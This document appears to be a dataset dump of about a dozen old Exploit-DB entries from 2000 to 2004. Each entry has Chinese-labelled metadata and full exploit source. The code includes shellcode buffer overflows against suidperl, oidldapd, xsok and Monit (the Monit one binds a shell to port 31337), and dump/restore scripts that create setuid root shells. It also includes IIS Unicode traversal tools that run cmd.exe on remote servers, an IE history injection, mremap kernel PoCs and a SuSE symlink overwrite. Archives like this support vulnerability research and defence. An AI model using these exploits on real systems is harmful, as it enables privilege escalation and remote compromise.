QLWD/code_shield huggingface dataset:
标题: BSDi SUIDPerl - Local Stack Buffer Overflow EDB-ID: 200 CVE: 1999-0034 类型: LOCAL 平台: BSD 发布日期: 2000-11-21 漏洞利用脚本: /* (BSDi)suidperl[] buffer overflow, by v9[v9@fakehalo.org].  this is that old
   buffer overflow in suidperl, but i never saw any version of it for BSDi.
   so, here it is.  this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl" /* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000  /* general offset, a lot of room. */
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[2048],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 eip[0]=0x01;
 for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;}
 eip[1248]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
 if(execlp(PATH,"suidperl",eip,0)){
  printf("*** [error]: could not execute %s successfully.\n",PATH);
  exit(1);
 }
}


// milw0rm.com [2000-11-21] URL: https://www.exploit-db.com/exploits/200
标题: RedHat 6.2 Restore and Dump - Local Privilege Escalation EDB-ID: 184 CVE: 2000-1125 类型: LOCAL 平台: LINUX 发布日期: 2000-11-16 漏洞利用脚本: #!/usr/bin/perl

# perl exploit of restore and dump
# redhat linux 6.2
# written by tlabs
# Use at your discretion

$EXPORT1="TAPE=garbage:garbage" ;
$EXPORT2="RSH=./hey" ;

sub USAGE
{
  print "$0 <type>\n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;)\nWritten by Tlabs\n" ;
  exit 0 ;
}

sub ERROR
{
  print "$_[0]\n" ;
  exit 0 ;
}

open(TEMP, ">shell.c")|| ERROR("Something went wrong:$!");
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}" ;
close(TEMP);
system "cc -o shell shell.c" ;
unlink "shell.c" ;
open(TEMP1, ">hey")|| ERROR("Something went wrong: $!");
printf TEMP1 "#!/bin/sh\nchown root shell\nchmod 4755 shell" ;
close(TEMP1);
chmod(0755, "hey");

if ($ARGV[$0] eq "1")
{
  $DUMPER="/sbin/dump" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
   }
   else
   {
     unlink "hey" ;
     unlink "shell" ;
     printf "Dump is not exploitable on this system\n";
   }
}
elsif ($ARGV[$0] eq "2")
{
  $DUMPER="/sbin/dump.static" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Dump.static is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "3")
{
  $RESTORER="/sbin/restore" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "4")
{
  $RESTORER="/sbin/restore.static" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore.static is not exploitable on this system\n";
  }
}
else
{
  USAGE ;
}


# milw0rm.com [2000-11-16] URL: https://www.exploit-db.com/exploits/184
标题: Oracle (oidldapd connect) - Local Command Line Overflow EDB-ID: 183 CVE: 2000-0987 类型: LOCAL 平台: LINUX 发布日期: 2000-11-16 漏洞利用脚本: /*
  Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux.
  I tested in RH 6.2 and 6.1. This code is a bullshit (i know
  please no comments about ;-)).

  If someone exports this to Sparc please tell me.

  synopsis: buffer overflow in oidldapd
    impact: any user gain euid=oracle.

  Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET  13
#define DEFAULT_BUFFER_SIZE 700
#define NOP    0x90
#define ORACLE_HOME  "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}


// milw0rm.com [2000-11-16] URL: https://www.exploit-db.com/exploits/183
标题: Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (7) EDB-ID: 191 CVE: 2000-0884 类型: REMOTE 平台: WINDOWS 发布日期: 2000-11-18 漏洞利用脚本: #!/usr/bin/perl
#
# IIS 4.0/5.0 Unicode Exploit
# Checks for each script that has been posted on the BugTraq Lis
# Shouts to bighawk(thats for help), datagram, Ghost Rider, The Duke, p4, kript0n and others
# Since It Uses fork(), you gotta keep up with whats happening. Or Just Let it run and it will
# log sites in the log_unicode.log.
# So Simple

# Use Socket
use Socket;

# incase no arguements or less arguements are given
if(@ARGV == '0' || @ARGV < 2) { die "IIS 4.0/5.0 Unicode Exploit\n".
                                     "Programmed by SteeLe\n".
                                     "Usage: ./$0 <single host> <dir for exploit>\n"; }

# Variables
$blah = $ARGV[0];
$port = 80;
$dir = $ARGV[1];
$timeout = 4;

# see if file is there, 
if (-e "$blah") { 
  open(T, "$blah") || die "can't open $blah\n"; 
  @target = <T>;
  close(T);
}

else { @target[0] = $blah; } # what you think is blah

# all scripts mentioned on bugtraq, we know rfp knows more.
@scripts = ("..%c1%1c..", "..%c0%9v..", "..%c0%af..", "..%c0%qf..", "..%c1%8s..", "..%c1%9c..",
"..%c1%pc.."); # blah, i know i'm not l33t

# Open LOG Script
open(LOG, ">>log_unicode.log") || die "couldn't open a file for writing\n";

# Socket Stuff
foreach $script (@scripts) {
  $submit = "GET /scripts/$script/winnt/system32/cmd.exe?/c+dir+$dir HTTP/1.0 \n\r\n\r";
  $ouch = "/scripts/$script/winnt/system32/cmd.exe?/c+dir+$dir";
  foreach $site (@target) {
    unless(fork()) {
      chop($site) if $site =~ /\n$/; &connect($site); 
    } # so i lied
  }
}

sub connect { # real socket stuff
  my ($ste) = @_;
  $iaddr = inet_aton($ste) || die "$ste might not be up, connecting to next site....\n";
  $paddr = sockaddr_in($port, $iaddr);
  $proto = getprotobyname('tcp');
  local $SIG{ALRM} = sub { print "TimeOut On $ste, going to next one....\n" && exit(0) };
  alarm $timeout;
  socket(SCAN, PF_INET, SOCK_STREAM, $proto) || die("Error: couldn't make a socket to $ste");
  connect(SCAN, $paddr) || die "Sorry couldn't connect to $ste, connecting to next site....\n";
  send(SCAN, $submit, 0);
  $blackout = <SCAN>;
  ($http,$code,$blah) == split(/ /, $blackout);
  if ($code == "200") {
    print "$ste has $ouch on there, go exploit it\n"; 
    print LOG "$ste has $ouch on there\n";
  }
  else { print "$ste doesn't have it\n"; }
  close(SCAN);
  exit(0);
}
close(LOG);

# since we're done
exit;


# milw0rm.com [2000-11-18] URL: https://www.exploit-db.com/exploits/191
标题: RedHat 6.2 - '/sbin/restore' Local Privilege Escalation EDB-ID: 182 CVE: 2000-1125 类型: LOCAL 平台: LINUX 发布日期: 2000-11-16 漏洞利用脚本: #!/bin/sh
#
# /sbin/restore exploit for rh6.2
#
# I did not find this weakness my self, all i did was
# writing this script (and some more) to make it 
# automatic and easy to use.
#
# This exploit should work on all redhat 6.2 systems
# with /sbin/restore not "fucked up". May work on other
# distros too, but only tested successfully on rh6.2.
#
# Make sure that the $USER variable is set! If you aren't
# sure, do a SET USER=<your-login-name> before you start
# the exploit!
#
# Please do NOT remove this header from the file.
#

echo "###########################################"
echo "#     /sbin/restore exploit for rh6.2     #"
echo "#          this file by nawok '00         #"
echo "###########################################"
echo " "
echo "==> EXPLOIT STARTED, Wait..."
echo "#!/bin/sh" >> /home/$USER/execfile
echo "cp /bin/sh /home/$USER/sh" >> /home/$USER/execfile
echo "chmod 4755 /home/$USER/sh" >> /home/$USER/execfile
chmod 755 /home/$USER/execfile
export TAPE=restorer:restorer
export RSH=/home/$USER/execfile
touch /tmp/1
/sbin/restore -t /tmp/1
rm -f /home/$USER/execfile
echo "==> DONE! If everything went OK we will now enter rootshell..."
echo "==> To check if its rooted, type 'whoami', or 'id'" 
echo "==> B-Bye, you are on your own now."
/home/$USER/sh


# milw0rm.com [2000-11-16] URL: https://www.exploit-db.com/exploits/182
标题: Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (6) EDB-ID: 189 CVE: 2000-0884 类型: REMOTE 平台: WINDOWS 发布日期: 2000-11-18 漏洞利用脚本: /* iisex iis exploit  (<- nost's idea) v2
 * --------------------------------------
 * Okay.. the first piece of code was not really finished.
 * So, i apologize to everybody.. 
 *
 * by incubus <incubus@securax.org>
 *
 * grtz to: Bio, nos, zoa, reg and vor... (who else would stay up 
 * at night to exploit this?) to securax (#securax@efnet) - also 
 * to kim, glyc, s0ph, tessa, lamagra and steven.
 */ 
     
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
  char buffy[666]; /* well, what else? I dunno how long your commands are.. */
  char buf[500];
  char rcvbuf[8192];
  int i, sock, result;
  struct sockaddr_in  name;
  struct hostent  *hostinfo;
  if (argc < 2){
    printf ("try %s www.server.com\n", argv[0]);
    printf ("will let you play with cmd.exe of an IIS4/5 server.\n");
    printf ("by incubus <incubus@securax.org>\n\n");
    exit(0);
  }
  printf ("\niisex - iis 4 and 5 exploit\n---------------------------\n");
  printf ("act like a cmd.exe kiddie, type quit to quit.\n");
  for (;;)
  {
    printf ("\n[enter cmd> ");
    gets(buf);
    if (strstr(buf, "quit")) exit(0);
    i=0;
    while (buf[i] != '\n'){
      if(buf[i] == 32) buf[i] = 43;
      i++; 
    }
    hostinfo=gethostbyname(argv[1]);
    if (!hostinfo){
      herror("Oops"); exit(-1);
    }
    name.sin_family=AF_INET; name.sin_port=htons(80);
    name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
    sock=socket(AF_INET, SOCK_STREAM, 0);
    result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
    if (result != 0) { herror("Oops"); exit(-1); }
      if (sock < 0){
        herror("Oops"); exit(-1);
    }
    strcpy(buffy,"GET /scripts/..\%c0%af../winnt/system32/cmd.exe?/c+");
    strcat(buffy,buf);
    strcat(buffy, " HTTP/1.0\n\n");
    send(sock, buffy, sizeof(buffy), 0);
    recv(sock, rcvbuf, sizeof(rcvbuf), 0);
    printf ("%s", rcvbuf);
    close(sock);
  }
}


// milw0rm.com [2000-11-18] URL: https://www.exploit-db.com/exploits/189
标题: Monit 4.1 - Remote Buffer Overflow EDB-ID: 173 CVE: 2003-1083 类型: REMOTE 平台: LINUX 发布日期: 2004-04-09 漏洞利用脚本: #!/usr/bin/perl
#
# monit <= 4.1 remote root exploit
# coded by gsicht (09.04.04)
#

use IO::Socket::INET;
$socket = 0;

my $shellcode = # 8 + 88 = 96 bytes portbind 31337
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" .
"\x89\xc7\x52\x66\x68" .
"\x7a\x69" . # port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80" .
"\xb0\x66\xb3\x04\xcd\x80" .
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80" .
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" .
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";


print "\nmonit 4.1 dos exploit\n";
print "coded by gsicht\n\n";

if(@ARGV<1)
{
print "Usage: perl agate.pl <target>\n\n";
exit(0);
}

print "HOST:\t$ARGV[0]\n";
print "PORT:\t2812\n";


my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

print "connecting to server...\n";

$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
    PeerPort => 2812,
    Proto    => "tcp");
if(!defined($socket))
{
print "could not connect :-P\n";
sleep(1);
exit(0);
}

print "connected\n";
sleep(1);
print "sending string\n";
print $socket $buffer;

close $socket;
print "\ndosed!\n";

# milw0rm.com [2004-04-09] URL: https://www.exploit-db.com/exploits/173
标题: Microsoft Internet Explorer - URL Injection in History List (MS04-004) EDB-ID: 151 CVE: 2003-1026 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-04 漏洞利用脚本: // Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name:     payload
// Purpose:  Run payload code called from Local Machine zone.
//           The code may be arbitrary such as executing shell commands.
//           This demo simply creates a harmless textfile on the desktop.
function payload() {
  file = "sandblad.txt";
  o = new ActiveXObject("ADODB.Stream");
  o.Open();
  o.Type=2;
  o.Charset="ascii";
  o.WriteText("You are vulnerable!");
  o.SaveToFile(file, 2);
  o.Close();
  alert("File "+file+" created on desktop!");
}

// Name:     trigger
// Purpose:  Inject javascript url in history list and run payload
//           function when the user hits the backbutton.
function trigger(len) {
  if (history.length != len)
    payload();
  else
    return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name:    backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
  location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
  backbutton();


# milw0rm.com [2004-02-04] URL: https://www.exploit-db.com/exploits/151
标题: Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator EDB-ID: 154 CVE: 2004-0077 类型: LOCAL 平台: LINUX 发布日期: 2004-02-18 漏洞利用脚本: /*
 *  Proof-of-concept exploit code for do_mremap() #2
 *
 * EDB Note: This is NOT to be confused with CVE-2003-0985 // https://www.exploit-db.com/exploits/141/, which would be "do_mremap() #1".
 * EDB Note: This will just "test" the vulnerability. A exploit version can be found here ~ https://www.exploit-db.com/exploits/160/
 *
 *
 *  Copyright (C) 2004  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */


#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>


#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2


#define MREMAP_FLAGS  MREMAP_MAYMOVE | MREMAP_FIXED


#define __NR_real_mremap __NR_mremap


static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );


#define VMA_SIZE 0x00003000


int main( void )
{
    int i, ret;
    void *base0;
    void *base1;


    i = 0;


    while( 1 )
    {
        i++;


        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                          VMA_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );


        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }


        base0 = base1;
        base1 = (void *) ret;
    }


    printf( "created ~%d VMAs\n", i );


    base0 += 0x1000;
    base1 += 0x1000;


    printf( "now mremapping 0x%08X at 0x%08X\n",
            (int) base1, (int) base0 );


    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );


    printf( "kernel may not be vulnerable\n" );


    return( 0 );
}


// milw0rm.com [2004-02-18] URL: https://www.exploit-db.com/exploits/154
标题: Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (1) EDB-ID: 141 CVE: 2003-0985 类型: LOCAL 平台: LINUX 发布日期: 2004-01-06 漏洞利用脚本: /*
 *  EDB Note: This will just "test" the vulnerability. 
*   EDB Note: An exploit version can be found here ~ https://www.exploit-db.com/exploits/145/
*/

/*
 *  Proof-of-concept exploit code for do_mremap()
 *
 *  Copyright (C) 2004  Christophe Devine and Julien Tinnes
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

int main( void )
{
    void *base;

    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                 (void *) 0xC0000000 );

    fork();

    return( 0 );
}

// milw0rm.com [2004-01-06] URL: https://www.exploit-db.com/exploits/141
标题: XSOK 1.02 - '-xsokdir' Local Buffer Overflow Game EDB-ID: 140 CVE: 2004-0074 类型: LOCAL 平台: LINUX 发布日期: 2004-01-02 漏洞利用脚本: /* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

 /* setregid (20,20) shellcode */
 "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
 "\xcd\x80"

 /* exec /bin/sh shellcode */
 "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
 "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


 
int main (int argc, char ** argv)
{
 int i, ret = RETADD;
 char out[SIZE];

 fprintf(stdout, "\n ---   0x333xsok => xsok 1.02 local games exploit   ---\n");
 fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---\n\n");

 int *xsok = (int *)(out);

 for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

 memset((char *)out, 0x90, 63);
 memcpy((char *)out+63, shellcode, strlen(shellcode));

 execl (BIN, BIN, "-xsokdir", out, 0x0);
}

// milw0rm.com [2004-01-02] URL: https://www.exploit-db.com/exploits/140
标题: SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files EDB-ID: 144 CVE: 2004-0064 类型: LOCAL 平台: LINUX 发布日期: 2004-01-15 漏洞利用脚本: #include <stdio.h>  
#include <unistd.h>  
#include <string.h>  
  
#define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."  
#define START 1  
#define END 33000  
  
 int main(int argc, char **argv)  
 {  
 int i;  
 char buf[150];  
  
 printf("\tSuSE 9.0 YaST script 
SuSEconfig.gnome-filesystem exploit\n");  
 printf("\t-------------------------------------------------------------
\n");  
 printf("\tdiscovered and written by l0om 
<l0om excluded org>\n");  
 printf("\t WWW.EXCLUDED.ORG\n\n");  
  
 if(argc != 2) {  
 printf("usage: %s <destination-file>\n",argv[0]);  
 exit(0xff);  
 }  
  
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);  
 read(1, buf, 1); fflush(stdin);  
  
 umask(0000);  
 printf("working\n\n");  
 for(i = START; i < END; i++) {  
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);  
 if(mkdir(buf,00777) == -1) {  
 fprintf(stderr, "cannot creat directory [Nr.%d]
\n",i);  
 exit(0xff);  
 }  
 if(!(i%1000))printf(".");  
 strcat(buf, "/found");  
 if(symlink(argv[1], buf) == -1) {  
 fprintf(stderr, "cannot creat symlink from %s to %s 
[Nr.%d]\n",buf,argv[1],i);  
 exit(0xff);  
 }  
 }  
 printf("\ndone!\n");  
 printf("next time the SuSE.gnome-filesystem script 
gets executed\n");  
 printf("we will create or overwrite file %s
\n",argv[1]);  
 return(0x00);  
 }  /* i cant wait for the new gobbles comic!! */ 

// milw0rm.com [2004-01-15] URL: https://www.exploit-db.com/exploits/144